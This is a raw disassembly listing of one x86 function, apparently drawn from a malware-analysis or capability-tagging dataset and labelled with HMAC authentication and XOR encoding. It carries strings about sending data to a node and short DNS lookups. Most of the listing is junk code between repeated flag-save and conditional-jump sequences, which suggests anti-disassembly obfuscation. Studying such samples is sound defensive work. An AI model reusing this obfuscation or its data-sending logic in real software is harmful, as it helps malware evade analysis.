Function at 0x1009ede0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
pushfd
test byte [0x1009c145], 0x48
inc ebp
ror dword [ecx], 0x10
dec eax
jne 0x1009c146
dec edx
aaa
inc ebp
dec esi
pop dword [ebx - 0x4f0c7623]
mov edx, 0x4133855f
je 0x1009c106
adc byte [ebp + 0x79055f9a], al
scasd eax, dword es:[edi]
sti
and dword [edx + 0x7b], 0xb15e87b3
mov ah, 0xdb
add byte [esi + 0x6c51d0ab], bl
in eax, dx
out 0xc4, eax
inc esi
pop esi
pop eax
sbb al, 0x90
stc
mov al, byte [0xc595d53c]
sub ebx, dword [esi]
push edx
inc esp
cld
cld
in al, dx
and eax, 0x5b77dcc2
and dword [ebp - 0x6960bf42], ebp
jecxz 0x1009c12b
cmpsd dword [esi], dword es:[edi]
popfd
push ss
adc al, 0xf6
jnp 0x1009c112
jne 0x1009c083
lahf
mov dword [0xa4d91421], eax
dec eax
scasd eax, dword es:[edi]
aas
jecxz 0x1009c09e
mov eax, 0x9f13dc15
test al, 0x89
mov ah, 0x18
fistp qword [ecx - 0x3a587310]
aad 0x2e
out 0xb1, eax
mov ebx, dword [esi]
sahf
inc esi
in al, 0xe2
jb 0x1009c160
loop 0x1009c17a
push edi
faddp st(7)
sar edi, 0x89
imul esp, dword [ebx + 0x74e53cfb], 0xff5e0a48
in eax, 0x74
dec eax
or bl, byte [esi - 1]
sub dh, byte [edi + ebp*2 + 0x22]
aad 0x8c
adc dh, byte [eax + 0x219bf655]
cmp al, byte [ebx - 0x3d]
push 0x6d1819e5
insd dword es:[edi], dx
xchg dword [edi], ebx
xor bl, cl
nop
push 0x70fd75b3
and byte [esi + esi*8 + 0x29], dl
lodsd eax, dword [esi]
mov al, 0xb6
sbb bl, bl
xchg dword [esi + 0x49a13a7a], ecx
popfd
mov ebp, esp
pushfd
test byte [0x1009c178], 0x7d
jne 0x1009c179
and eax, 0xb0942bd
xchg esp, eax
jae 0x1009c16a
leave
sahf
cmp dword [ecx], edi
dec edx
sbb ecx, esp
cmp dword [eax - 9], 0x3ed23583
push esp
jg 0x1009c1bb
rcl dword [eax - 0x73]
out dx, eax
div byte [ebx + 0x37]
pop esi
out 0xcc, eax
bound ecx, qword [edi]
int3
popfd
push 0xffffffffffffffff
push 0x101423dd
mov eax, dword fs:[0]
push eax
mov eax, 0x1854
call fcn.1011f220
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 0x10], eax
pushfd
test byte [0x1009c252], 0xcb
jne 0x1009c253
invalid
loop 0x1009c19b
sbb eax, 0x5dd22186
jo 0x1009c1f4
xor dword [ebp + 0x325b2f67], esp
dec byte [edx - 0x31]
in eax, 0xdd
mov al, byte [0x46e81f81]
sbb dword [ebx - 0x35b671af], ecx
movsd dword es:[edi], dword [esi]
int1
xchg ecx, eax
sub bl, byte [bx]
sbb bl, byte [edx]
push esp
cmp ecx, esi
pop ecx
sub eax, 0x15aac447
add al, 1
inc ecx
mov bl, 0x81
pop esi
fcomp qword [ebp - 0x9ea8778]
dec eax
mov al, 0xc9
sbb ebp, esp
in eax, 0xa2
sub dword [ecx + 0x30], eax
mov dl, 0x57
iretd
nop
inc edx
xchg ecx, eax
dec esi
push ds
or bh, bl
push ebx
cmc
inc ebx
test byte [0x2a57dfd1], cl
outsd dx, dword [esi]
xchg edi, eax
dec ecx
fnsave dword [esi + ebp + 0x452cbe9b]
pop esi
dec ecx
popal
mov ecx, 0xb2c61c86
imul edx, esp, 0xffffffb5
sal byte [ecx - 0x432d0ac5], 0x43
mov ebp, 0x1b48902c
scasd eax, dword es:[edi]
sbb bl, bl
cdq
dec ebx
sbb edx, esp
xchg ebx, eax
jle 0x1009c213
jae 0x1009c1f7
in al, dx
mul byte [ecx + esi*2]
inc ecx
adc eax, 0x903976b6
int3
popfd
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
pushfd
test byte [0x1009c32d], 0xe8
jne 0x1009c32e
xchg esp, eax
add al, 0xfe
cmp dword [edi], edx
je 0x1009c234
insb byte es:[edi], dx
ror dword [edi], 1
pop es
mov esp, 0xf983fd6
mov ecx, 0x61729b97
cli
dec eax
pop ecx
xchg ebx, eax
cmp ebx, ebx
xchg esp, eax
cmp al, 0xac
jne 0x1009c2a0
or al, 0x5b
fst dword [ecx - 0x50b5fe36]
inc esp
inc dword [esi + 0x1aeab102]
out 0xd1, eax
jbe 0x1009c29e
popal
inc edi
inc esi
pop esp
pushfd
push eax
int1
push ebp
sub dword [ebp - 0x2b], esp
mov word [ecx - 0x4b], ss
or ecx, edi
out 0xc2, eax
insd dword es:[edi], dx
push edi
pop eax
mov edx, 0x192ad47d
add eax, 0xe13507c3
pop edi
dec eax
popfd
cmc
pop es
outsb dx, byte [esi]
adc dword [esi + 0x1fcb98fa], ecx
xor dh, dl
sub dword [esp + ebp*8], ebp
jl 0x1009c34d
or eax, 0xf0497d4d
dec ecx
nop
out 0x88, al
popfd
aad 0x64
shl dword [edi - 0x14], 1
salc
push ebx
mov eax, dword [0xd13ef210]
popfd
out dx, al
popal
les edx, [esp + edx*4 + 0x5e8dd26e]
mov cl, byte [ebx - 0x60dd3ee8]
adc bh, byte [ebx]
int 0xa
add dword [ebx], 0x11
mov al, 0x67
call 0x8b99dd3
pop edx
cdq
loop 0x1009c33b
into
xchg ebp, eax
jecxz 0x1009c327
inc eax
aad 0x2d
sub al, 0x23
movsb byte es:[edi], byte [esi]
and ebp, ecx
sbb al, 0xc5
pop esp
scasb al, byte es:[edi]
std
add edx, ebp
mov ebp, 0xce46dcea
xchg esp, eax
pop ebp
imul esp, dword [esi], 0x5f
or edx, ebx
popfd
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor ebx, ebx
push str.Entering_Common::SendDataToNode.......
mov dword [ebp - 0x184c], eax
pushfd
test byte [0x1009c407], 0x56
jne 0x1009c408
adc byte [ecx - 0x184b7b], cl
call [esi + esi*8 + 0x9c40705]
adc byte [esi + 0xf], dl
test dword [eax + 0x3a000000], edi
add byte [eax], al
add byte [edx], bh
cmp dl, byte [eax - 0x60]
mov eax, dword [0xf11046b4]
push eax
mov al, byte [0x1046b4a1]
int1
leave
test byte [ebx + 0x77], dl
enter 0x6b36, 0
fidiv word fs:[ebx - 0x4b]
add ebx, edi
jbe 0x1009c319
sar esp, 0x27
sbb byte [esp + edx*4 + 0x296b5232], al
or ecx, esp
pop eax
cli
stosb byte es:[edi], al
in al, 0x5b
aaa
fisub word [eax + 0x33fffbd0]
stosb byte es:[edi], al
and eax, 0x3a57a95f
or bl, dl
mov edx, 0x6d9f02db
mov ch, 0x20
xchg edi, eax
imul eax, dword [ecx - 0x6d], 0x4a078cd7
adc dl, ch
xor ebx, 0x69
stosb byte es:[edi], al
loopne 0x1009c3cc
lodsb al, byte [esi]
xchg edi, eax
int1
mov ah, 0x50
lahf
add dh, cl
xchg dh, bh
leave
dec ebx
das
push cs
pop eax
jb 0x1009c39d
dec esi
cmpsd dword [esi], dword es:[edi]
dec edi
ror ebp, cl
adc ah, byte [esi - 0x17]
jo 0x1009c3e2
lds esp, [ebx + ebp*2 - 0x68698507]
dec edi
aaa
xlatb
xor al, 0x60
movsd dword es:[edi], dword [esi]
int3
pushfd
jecxz 0x1009c460
inc edi
and eax, 0xd61ffbe7
test eax, 0xc1fcec59
int3
popfd
mov eax, dword [ebp + 0x10]
push ebx
push 3
mov dword [ebp - 0x185c], esi
mov dword [ebp - 0x1850], eax
pushfd
test byte [0x1009c433], 0xa7
jne 0x1009c434
mov ebp, 0x549fff6b
lodsd eax, dword [esi]
stc
lds edi, [esi - 0x61]
sbb dword [ecx + eax*4], 0x1e
push ebx
popfd
mov dword [ebp - 0x1854], ebx
call fcn.10049c0c
or dword [ebp - 0x1858], 0xffffffff
add esp, 0xc
pushfd
test byte [0x1009c52e], 0x16
jne 0x1009c52f
jl 0x1009c48b
mov esi, 0xe4471e39
push eax
pop esi
mov al, byte [0xee5aec7f]
in eax, dx
invalid
shl byte [esi - 0x6b], 0xf3
xchg ecx, eax
or bl, byte [ebx + 0x2e7ad5be]
jp 0x1009c4bb
dec ecx
dec edx
pushfd
mov dword [esi], esp
fild word [edx + 0x34]
je 0x1009c4af
dec ebp
xor dword [ecx], 0x21
jne 0x1009c4a3
mov edi, 0x6b76b512
fsubr st(6)
out dx, al
push esp
sahf
mov edx, 0xee8b716e
xor dl, byte [esp + 0x21f3068c]
in al, dx
push es
and esp, ebp
stc
dec ebx
sal byte [ecx], cl
shl dh, cl
pop ecx
xchg esp, eax
xchg esp, eax
mov dl, 0xbd
int 0x2e
mov al, byte [0x32106826]
inc esp
or al, 0xd7
stc
or dl, byte [edi + 0x22a218b1]
in al, 0x2a
outsd dx, dword [esi]
dec ebp
sar byte ss:[ebx - 0x3f], 1
sub eax, 0xfb710274
sub al, 0x4b
mov esi, 0xc43edfe4
xor bh, byte [edi + 0x1f3602bb]
push ds
jl 0x1009c482
jle 0x1009c563
sub eax, 0x8df077e9
cwde
xchg dword [edx], esp
clc
cli
xor eax, 0xc28da05b
xchg ebx, eax
or dword [edx - 0x9afbf7], ebp
bound eax, qword [edx]
or al, 0xbf
fistp qword [ebp + 0x42]
mul dword [ebx + 0x4a99aada]
fisub word [edx + 0x11d3719]
mov dh, 0xcd
enter 0x3882, 0x5e
pop edi
add eax, 0x5d55aea5
mov ecx, ebx
cmp bl, byte [edx + 0x14f09946]
inc ebx
pop edi
dec edi
popfd
push 0x10146825
pushfd
test byte [0x1009c5aa], 3
jne 0x1009c5ab
inc ebx
cmp eax, 0x153cef76
cmp eax, 0x823c7cfe
leave
invalid
jmp 0xe8c2c0e8
popfd
lea ecx, [ebp - 0x1654]
call fcn.10005af6
push ebx
lea eax, [ebp - 0x1654]
push eax
lea ecx, [ebp - 0x183c]
pushfd
test byte [0x1009c60b], 0x83
jne 0x1009c60c
pop es
bound ecx, qword [ebp + 0x1b]
lodsb al, byte [esi]
cmp al, 0x4d
sbb eax, 0xb172dc35
test eax, 0xdbaa0010
popal
adc ch, byte [ebp*8 + 0x44c656b4]
int3
popfd
mov dword [ebp - 4], ebx
call fcn.1007562f
push ebx
push 1
lea ecx, [ebp - 0x1654]
mov byte [ebp - 4], 2
call fcn.10002a9a
push 0x40
lea eax, [ebp - 0x90]
push ebx
push eax
pushfd
test byte [0x1009c642], 0x98
jne 0x1009c643
push esi
mov esi, 0x86921f4e
dec esp
popfd
add esi, 0x1d
call fcn.1011df60
push 0x40
lea eax, [ebp - 0x50]
push ebx
push eax
call fcn.1011df60
lea edi, [esi + 0x20]
pushfd
test byte [0x1009c756], 0xf7
jne 0x1009c757
push edi
pop ds
inc edi
push edi
sub cl, byte [0xb86755c2]
cmp eax, 0x8dcb5e7b
imul ebx, dword [ebx - 0x48bc1b1a], 0x52
mov byte [esi], bl
mov edi, 0x3c9002a3
insd dword es:[edi], dx
jb 0x1009c6e4
loop 0x1009c708
cld
adc al, 0x9a
and dword [ecx], edi
cmpsb byte [esi], byte es:[edi]
sti
dec eax
pop ebp
push 0x2a614f44
mov word [eax], cs
clc
jns 0x1009c6cd
xchg edx, eax
popal
mul dword [0xda7b6d4c]
or dword [eax - 0x64d9c21f], 0x6db43173
pop eax
adc eax, 0x57d51db1
stosb byte es:[edi], al
push ss
pop ds
sar dword [ecx], 1
sbb eax, 0xf168f18c
cmp dword [0xf168f18c], ebx
sub eax, 0xd435fb58
cmpsb byte [esi], byte es:[edi]
cdq
aas
fst dword [esi]
out 0x23, al
fistp qword [ebx]
jo 0x1009c6f7
cmp esi, dword [eax + 0x27]
fsub qword [ebx - 0xd34c3bc]
add al, 0xd4
test dword [esi - 0x26a66107], eax
insd dword es:[edi], dx
sahf
pop ecx
fldcw word [ebp - 0x4c]
dec esi
mov ah, 0x4e
adc al, 0x81
jb 0x1009c69c
mov bh, 0x6e
outsb dx, byte [esi]
mov dword [0xb7494ef4], eax
xchg esp, eax
int3
dec edx
xchg ecx, eax
popal
mov bl, byte [ebx - 0x443e161]
adc al, byte [ebx + 0x3f8beba7]
into
mov eax, dword [0x6d73d40f]
paddq mm6, qword [ebx + 0x6d]
xchg edi, eax
xchg ecx, eax
and byte [ebx + ebx*2 - 0x63], bl
jo 0x1009c6ba
test eax, 0x1b5d04c9
aad 0x7c
push esp
pop ebp
sbb edx, ebp
jl 0x1009c770
ja 0x1009c6b1
mov word [eax + 0x44], es
add al, 0xae
cwde
lea ebp, [ebx]
call [esi + edi*2 + 0x691466d8]
sub ecx, dword [esi]
int1
mov esp, 0x479bb0e
or bl, byte [edx]
fiadd word [ebx - 0x29]
jle 0x1009c6df
xchg edi, eax
inc edi
sbb dword [ebx + 0x39], ebp
cli
fisttp qword [0xdacbca4b]
ror byte [ebx], 1
xchg edx, eax
cmp ebx, dword [edx - 0x4fb2797e]
je 0x1009c717
jecxz 0x1009c7c3
jb 0x1009c6db
popfd
add esp, 0x18
cmp byte [edi], bl
je 0x1009c91f
lea eax, [ebp - 0x90]
push eax
push edi
call fcn.10047dd1
pop ecx
pop ecx
test eax, eax
jne 0x1009c91f
push edi
push str.pshortURLInfo__ShortDnsBack__s_Invalid
push ebx
push ebx
call fcn.10049c0c
add esp, 0x10
lea ecx, [ebp - 0x183c]
call fcn.10062cf7
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pushfd
test byte [0x1009c7f5], 0x1d
jne 0x1009c7f6
dec ecx
mov esi, 0xad892d2e
lodsd eax, dword [esi]
pop esi
rcr dword [esi + 0x1a], cl
push ebx
and al, bh
mov dword [0x189ff812], eax
sti
mov edx, 0xa39265e4
push cs
enter 0x2cc4, 0x45
add esp, dword [ecx + 0x43398c72]
aas
or al, 0x5a
mov bh, 0x42
fbstp tbyte [esp + ecx*2]
in eax, 0xf
mov ch, 0x42
insd dword es:[edi], dx
xchg esp, eax
and dword [esi + edx*2 - 0x73], esp
dec edi
adc al, 0x1a
dec esi
mov esi, edi
aaa
test dword [esi + 0x5e], esp
in al, 0x37
mov bl, 0xef
in eax, 0xae
popfd
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
pushfd
test byte [0x1009c816], 0xbf
jne 0x1009c917
jg 0x1009c7b4
stosb byte es:[edi], al
mov esp, eax
scasb al, byte es:[edi]
setno byte [ecx]
mov bh, byte fs:[ebx + 0x77457e1]
out 0x62, eax
enter 0xffffffffffffac38, 0x46
push edx
push ebp
inc ebx
and cl, bh
or eax, 0xb9d6dbab
cmp eax, 0x79b77c2b
mov dword [ecx - 0x64], esp
mov ecx, 0xb77c2b3d
jns 0x1009c7ba
popal
pushfd
cmpsd dword [esi], dword es:[edi]
sahf
outsd dx, dword [esi]
sub dword [ebp + 0x4f], esi
cmp byte [edi - 0x77], dh
lahf
inc ebx
or al, 0x60
in eax, dx
push eax
adc byte [edx + 0x60074d5], 0x7c
aad 0x83
xor byte [esi], dl
out dx, al
push 0x9351c772
or esi, dword [edx + 0x7acbfeee]
and ebx, edx
ja 0x1009c82a
call 0xaf911e49
dec eax
salc
stc
imul esp, dword [ebp + 0x5c], 0x66
cmp ch, byte [eax]
or bl, al
mov al, byte [0xe92af33]
popal
mov dword [ebx - 0x1d], edx
das
xor dh, byte [edi]
mov ebx, 0x6a3be9ab
or dh, dl
nop
and bh, byte [edx + 0x4dabc8ed]
add eax, dword [ebx + 0x55cf3f39]
sbb edi, dword [edx - 0x5f]
xchg ebx, eax
movsb byte es:[edi], byte [esi]
sub esi, dword [ecx]
cmp cl, bl
xchg edx, eax
sub dword [eax], edx
xor dh, byte [esp + ecx*2 + 0x2b]
sub byte [ebp + 0x10d1c9d8], ch
dec ebp
xchg dword [edi - 0x6a717a44], ecx
cmp byte [edi + edx*2], bh
add al, ah
mov dword [0x1e8973d7], eax
test al, 0xa3
mov dword [edx - 0x48], eax
imul ebx, dword [edx], 0xfa30057e
sbb byte [esi + 0x68], cl
popal
shl dword [eax + ecx*4], 1
or ebx, dword [eax]
int3
popfd
call fcn.1011e48a
leave
ret
cmp byte [esi], bl
je 0x1009cac2
lea eax, [ebp - 0x50]
push eax
push esi
call fcn.10047dd1
pop ecx
pushfd
test byte [0x1009c9a0], 0xc
je 0x1009caa1
or al, 0xb0
aam 0x9b
mov edx, 0x1fc17b27
push 0x92319d4
lea ebx, [edx - 0x11d89aff]
mov ecx, 0x420166b0
test eax, 0x111b1eba
call 0x84663241
test eax, 0xeb753133
pop ebx
adc ebp, ebp
fadd st(6)
inc edx
mov al, byte [0x7d968c25]
sahf
push edi
or dword [ebx - 0x6f], edx
adc byte [edx], dh
jg 0x1009c9cb
sub ah, dh
test byte [eax - 0x340ed11d], bh
mov dword [0x24e47bb2], eax
idiv byte [eax + eax + 0x3d]
cld
in al, dx
enter 0x507, 0xffffffffffffffc3
into
or byte [ebp - 0x28fe9c3d], bl
cmp eax, 0xf25e71f4
add ecx, dword [ebx - 0x32ceb5f5]
sub al, 0x65
push ss
and byte [edi], dl
or byte [edi + 0x799eae04], ah
jle 0x1009c9cc
xor byte [esi + 0x2e], 0x67
out 0x85, al
mov edx, ebp
out 0x2b, eax
int1
sbb eax, 0xdec4e1a
sal byte [edx*8 - 0x32310676], 1
xchg ecx, eax
or al, 0x50
push eax
cmp byte [ecx + ebx*4], 0xc5
clc
add dh, bh
int1
push 0x56
sbb esi, dword [eax]
add byte [eax], bh
and bl, byte [edi]
inc ebx
mov al, byte [0x1d5f34aa]
mov bh, 0x4a
shr dword [0x3103943f], 1
popal
dec ecx
or dword [0x4b170937], 0xb90e45f5
xor al, 0xf1
aas
pop ds
ror byte [eax + 0x6cbcdf6e], cl
sub byte [ecx + 0x6653dbb1], bh
int 0xc0
cmp al, 0xcc
sbb esp, dword [eax + 0x10fa294b]
xor al, 0x94
call 0x5ce196be
test al, 0x9c
popfd
nop
das
add dword [esi - 0x10], ecx
sbb eax, 0xcc7239be
cmp dl, byte [eax]
lodsb al, byte [esi]
push edi
mov ch, 0x37
cmpsb byte [esi], byte es:[edi]
out 0xe9, eax
inc ebx
mov word [ebx + 0x19], ds
test ch, ch
push ebx
sub esp, dword [ebp + 0x3c653c84]
leave
int1
loop 0x1009c9e5
push eax
insd dword es:[edi], dx
pop esi
add al, 0x8f
inc edi
and bh, dh
sti
inc edi
cmp dword ss:[edi + edi*8 - 0xc], eax
rcr byte [ebp + 0x27], 1
das
mov esi, 0x7178c31b
and dword [edi + edx*8 - 0x542485dc], 0xf283b93d
mov edx, 0xa65b7e8b
sub dword [eax], ebp
aam 0x30
and eax, 0x2fbac24b
pop es
inc ebp
stc
imul ebx, dword [ebp - 0x7e284a1c], 0x65
add eax, dword [esi - 0x42987ff1]
mov al, 0x97
xor edi, dword [esi - 0x14]
xor byte [ebx - 0x18ee3ea], al
cli
add eax, 0x18bad74d
push ecx
adc byte [ebx], ah
mov ecx, 0x3bd09de7
push cs
cmp ch, byte [esi]
xchg ebx, eax
push esp
popfd
pop ecx
test eax, eax
jne 0x1009cac2
push esi
push str.pshortURLInfo__ShortDns__s_Invalid
jmp 0x1009c780
cmp byte [esi + 0x14], dh
adc cl, ch
into
cld
invalid
cmp byte [ebp - 0x50], bl
je 0x1009fa00
push 0x3f
lea eax, [ebp - 0xcf]
pushfd
test byte [0x1009cb25], 0x62
jne 0x1009cb26
fistp word [eax - 0x4151795]
push ss
sub bl, al
mov dh, 0xec
jbe 0x1009cb53
mov bl, 0x92
jo 0x1009caa9
pop eax
imul eax, ebp, 0x2d93b93a
xor al, byte [ebx]
and eax, 0x6df56435
call 0xd21b690a
xchg esp, eax
mov al, 0xd2
bound esp, qword [ecx + edx*4]
or eax, 0x8f9dc4bd
stc
or cl, cl
and al, 0xce
sbb esp, dword [ebx]
cmpsb byte [esi], byte es:[edi]
pop ss
pop ebp
shr byte [edx + 0x7412d3c1], cl
add al, 0xc4
jns 0x1009cb45
and esp, dword [esi - 0x552da2e9]
rcl ebx, 0x12
je 0x1009cb22
les edi, [ecx + 0x24]
pushfd
das
jb 0x1009cb85
push edi
popfd
push ebx
push eax
mov byte [ebp - 0xd0], bl
call fcn.1011df60
mov edi, dword [ebp - 0x185c]
pushfd
test byte [0x1009cb5a], 0xc0
je 0x1009cc5b
add dword [eax], eax
add bh, ah
mov esi, 0x253d6f60
push esi
test dword [ecx], 0x5d52bd51
out 0xbe, eax
pushal
outsd dx, dword [esi]
cmp eax, 0x9f75625
push ecx
mov ebp, 0xd855d52
xchg ebx, eax
inc edx
imul edi, dword [ebx], 0xffffffb7
cmpsd dword [esi], dword es:[edi]
push edx
pop ebp
test dword [0x3b6b4293], ecx
mov bh, 0xa7
stosd dword es:[edi], eax
mov esi, dword [ebp - 0xc]
stc
xchg ecx, eax
ja 0x1009cb13
nop
pushal
mov dl, 0xdc
fisttp dword [ebx - 0x63]
push cs
salc
adc al, 0x11
salc
mov dh, 0x7c
dec esi
in eax, 0xe2
jbe 0x1009cbb3
cmpsb byte [esi], byte es:[edi]
lds edi, [edi + ecx*4 - 0x2da52bce]
pop ecx
fistp dword [ebp + 0x7f]
pop ebp
stosb byte es:[edi], al
fbld tbyte [esi + esi*8]
lahf
sbb al, 0x3e
dec edx
mov ss, word [edi]
push cs
cld
std
dec eax
test byte [ebp + esi*4 - 0x38a3a4b0], ch
xchg ecx, eax
cli
pop edi
out 0xea, eax
mov dword [ecx + 0x3f], edi
and eax, 0xe7438212
or dword [ecx + 0x31a27dcb], edi
jg 0x1009cb66
mov dword [edx + 0x4f], ebx
jbe 0x1009cbec
cmp byte [ebx], al
mov eax, dword [0x3f7ddf63]
add esp, dword [ecx + 0x3f7ddf63]
out dx, eax
sub byte [esp + edx*4], ch
xchg esp, eax
cmp ah, byte [edx]
nop
xor al, byte [esi]
scasd eax, dword es:[edi]
out dx, eax
nop
lodsb al, byte [esi]
sbb bh, byte [ebx - 0x27b16828]
dec ebx
stosb byte es:[edi], al
cmp dword [0x4d3b06c5], eax
inc esi
std
dec edi
xor al, 0x85
xor byte [edx + ecx*4 - 0x35], dh
enter 0xffffffffffffbd8b, 0xffffffffffffffa0
pop esp
test dword [esi], ebp
shr byte [edi - 0x648204cd], 1
wait
jl 0x1009cc17
or byte [ebp + 0xc], 0xe0
push 0xdeb0a306
and byte [esp + edi], cl
movsb byte es:[edi], byte [esi]
imul edx, dword [ecx], 0x3a6d0034
mov esi, 0x8dd97f1
xor al, 0x70
sbb esi, dword [edi]
or edx, dword [ecx]
mov dword [ebp + 0x10d186c7], ecx
pushal
mov eax, dword [0xb79afafc]
cmc
inc esp
push ebx
push edx
in eax, dx
cld
cli
lcall 0xed52, 0x5344f5b7
mov dword [eax - 0x1c], edi
aas
xor al, al
pushal
inc edx
pop ebp
pop ebx
dec edx
adc eax, 0xdafa72c4
adc byte [esi - 0x7b], al
lodsb al, byte [esi]
add ebp, esp
sahf
aam 0x93
and dword [edi + 0x47], edx
sub esi, dword [esi + 0x4c]
xor ebx, dword [ecx + 0x36]
cmpsd dword [esi], dword es:[edi]
popal
cmc
and byte [edx], 0x6b
xchg ecx, eax
int 0x54
aam 0x98
sbb al, ah
push ecx
adc byte [edx + 0x67], dl
bound edi, qword [esi]
xor ecx, edx
je 0x1009cc65
inc esi
popfd
lea eax, [ebp - 0xd0]
push eax
add edi, 4
pushfd
test dword [eax], esi
invalid
add al, 0x9c
test byte [0x1009cd5d], 0x41
jne 0x1009cd5e
jle 0x1009cc5d
and ebx, dword [esi - 0x2538e06]
stosb byte es:[edi], al
lodsd eax, dword [esi]
out dx, al
or eax, 0x4368b75a
mov word [eax + 0x6f4d5466], ds
and edi, dword [edx + 5]
movsd dword es:[edi], dword [esi]
loop 0x1009cc9b
adc ch, byte [edi + edx*8]
imul esp, dword [ecx + 0xf2c9846], 0xffffffbf
cwde
ror byte [ecx + ebp*4], 1
or al, 0xa9
pushal
mov al, byte [0xb7f1deed]
dec ebp
mov byte [esi - 0x1c], bh
pop edx
mov esp, 0xe8df2a09
mov eax, dword [0x5122d21a]
pop esi
add eax, dword [ecx - 0x63]
aam 0x2c
lodsb al, byte [esi]
push ecx
push cs
mov word [ecx + 6], gs
jae 0x1009cc76
dec edi
imul ebx, dword [eax + 0x2d], 0x8ed00be6
dec esi
xchg dl, cl
mov ah, 0xaa
dec edx
mov edi, 0x5a8f2cba
int1
add bh, al
pop ebp
push ebx
inc ebx
mov dh, 0xa4
push cs
cwde
fisttp word [ebx - 0xd0682b0]
adc edx, edi
push cs
loop 0x1009cd1f
aad 0xaa
pop ebp
or bl, ah
adc bh, byte [eax]
call 0xfeb97d71
jne 0x1009cc9c
out dx, eax
cmp bl, byte [edi - 0x4f]
out 0x42, eax
mov cl, 0xe7
inc edx
mov ebx, dword [edx]
mov word [ebp + 0x2c], es
pop ss
push eax
sbb byte [esi + 0x5e336f01], bl
out 0x57, al
mov dl, 0x18
mov ebx, dword [esi]
leave
xlatb
cmp byte [esi + 0x27], dh
loopne 0x1009cd79
xchg esp, eax
adc dword [ebp + 0xc900e49], ecx
movsb byte es:[edi], byte [esi]
or al, 0xa4
mov esi, 0x3e463766
jg 0x1009cd50
cli
adc dl, bh
loop 0x1009cd41
dec esi
xor eax, 0x4790f3a4
adc byte [esp + esi*2], dl
sbb ah, byte [esi + 0x22]
xlatb
inc ecx
inc edx
movsd dword es:[edi], dword [esi]
jo 0x1009cdbb
minps xmm0, xmmword [ebx + 0x332cc752]
or eax, 0x7e7dd54f
adc dword [edx - 0x39], 0x2c
xor ecx, dword [0x7e7dd54f]
imul esp, eax, 0xffffff8a
add edi, ebp
inc esi
push esi
test al, dh
loopne 0x1009cdcd
pop ecx
and al, 5
sub byte [edi - 0x49], cl
sti
popfd
push edi
pushfd
test byte [0x1009ce60], 0xbb
jne 0x1009ce61
inc esp
enter 0xffffffffffffed26, 0xffffffffffffffe5
add al, 0x94
jae 0x1009ccfc
pop ebx
fisub word [ecx]
in eax, dx
and ebp, ebp
push cs
rcl dword [esi + 0x2f4bdc68]
or esp, dword [edx - 0xd]
cmpsb byte [esi], byte es:[edi]
call 0xc79d5a88
mov eax, 0xdddb4209
fcmovnu st(0), st(5)
cmp eax, 0xbc551ae8
pop edi
xchg ebp, eax
mov esp, 0x5d4408ba
in eax, dx
xchg ecx, eax
int1
js 0x1009cd8e
in eax, dx
or dword [esi + 0x76], ecx
jl 0x1009cde2
dec ebp
out dx, al
std
mov dh, 5
bts dword [ecx], esp
mov al, 0xf
push cs
push cs
stosb byte es:[edi], al
jecxz 0x1009cde2
sub eax, 0xa48ad089
cmpsd dword [esi], dword es:[edi]
adc byte [esi - 0x12978684], ch
fnstenv [esi + ebx]
or dword [ecx], esi
mov esp, 0x8c5e425c
sbb al, 0xd8
inc edx
pop ebx
fadd dword [edx + 0x5b]
xor dword [esi], 0xffffffed
xor dword [eax], esi
dec eax
or si, si
stc
cmp dword [ebx], eax
in al, 0x6d
sub esi, dword [ecx - 0x21b75948]
pop esi
mov eax, 0x36de48a6
pop esi
int1
enter 0xffffffffffffc69c, 0x65
mov al, 0xc3
push edi
or edi, dword [ecx - 0x19]
imul ebp, dword [si - 0x8eb], 0xd90a2c30
dec esi
popfd
pop edi
sahf
mov dh, 0x38
cmp eax, dword [ecx]
out 0x9f, al
jno 0x1009cda0
test eax, 0x1bd0a87a
pushfd
adc ch, byte [edx - 0x6060ecd9]
mov cl, 0x13
and edi, dword [edi - 0x4d]
jbe 0x1009ce6b
sahf
sbb dh, byte [edx + 0x1f]
cmp al, 7
push ebx
cmp edi, edx
mov cl, bl
or ah, byte [edx + edx*4 + 0x3ea85762]
rcr esi, cl
dec eax
add dword [esi], ebx
adc eax, 0x7b56d3a9
pop esi
add al, 0xbb
sub al, 0x79
or al, 0x87
and al, 0x2e
pop ebp
xor eax, 0x191dd5e3
inc esp
adc eax, dword [edx + 0x12f0b761]
sahf
xchg esi, eax
or bl, byte [ecx]
imul dh
xor edx, edx
shl dword [ebx - 0x13b92656], 0x78
popfd
call fcn.100471db
add esp, 0x14
test eax, eax
ror byte [edi], 0x85
sub dword [ecx], eax
add byte [eax], al
jne 0x1009cf9b
or esi, 0xffffffff
pushfd
test byte [0x1009ce87], 0xdf
jne 0x1009cf88
in eax, 0xd3
sub al, 0x9c
in eax, 0x94
push ecx
stosd dword es:[edi], eax
aad 0xec
inc dword [eax - 0x7faf3d7a]
sub dword [eax], 0xa366648f
xchg esi, eax
jno 0x1009cecf
mov word [edi - 0x118668b2], es
stosd dword es:[edi], eax
in al, 0xdd
xchg edx, eax
jo 0x1009ce53
add dh, byte [ebx - 0x7a]
cmp eax, 0x9df0f9ae
jno 0x1009cedb
mov dh, 0xa1
sub bh, byte [esi - 0x59]
pop edi
dec ecx
in al, dx
sahf
jne 0x1009ced3
imul ebp, dword [ecx], 0x5435137a
pop ss
cmp al, 0x32
push edi
shl dword [edx + 0x54545db3], 1
pop ebp
push esp
push esp
or ebp, dword [0xa22cb13f]
aas
mov cl, 0x2c
mov byte [0xd0967eed], al
invalid
in eax, dx
jle 0x1009ce6c
sal al, 1
jmp dword [0x5196cd2f]
int 0x96
push ecx
xchg ecx, eax
adc ah, byte [ecx - 0x63]
sbb byte [ebp + 0x15], dh
adc byte [ebx], ah
sub eax, 0xb497389f
sub ebp, dword [edx]
mov dh, 0x62
xor ebp, eax
in al, 0x79
push edi
sub dh, byte [esi - 0x1b3ace9e]
jns 0x1009cf4c
sbb dl, byte [esi]
xor esi, dword [ebx + 0x21]
cmp dword [edi], eax
neg byte [edi + ebx*2 + 0x79]
jle 0x1009ce99
add ah, byte [esi]
and bl, byte [eax - 0x65f9dc1]
into
pushal
jl 0x1009ceed
cmp ah, byte [eax - 0x1b]
pushal
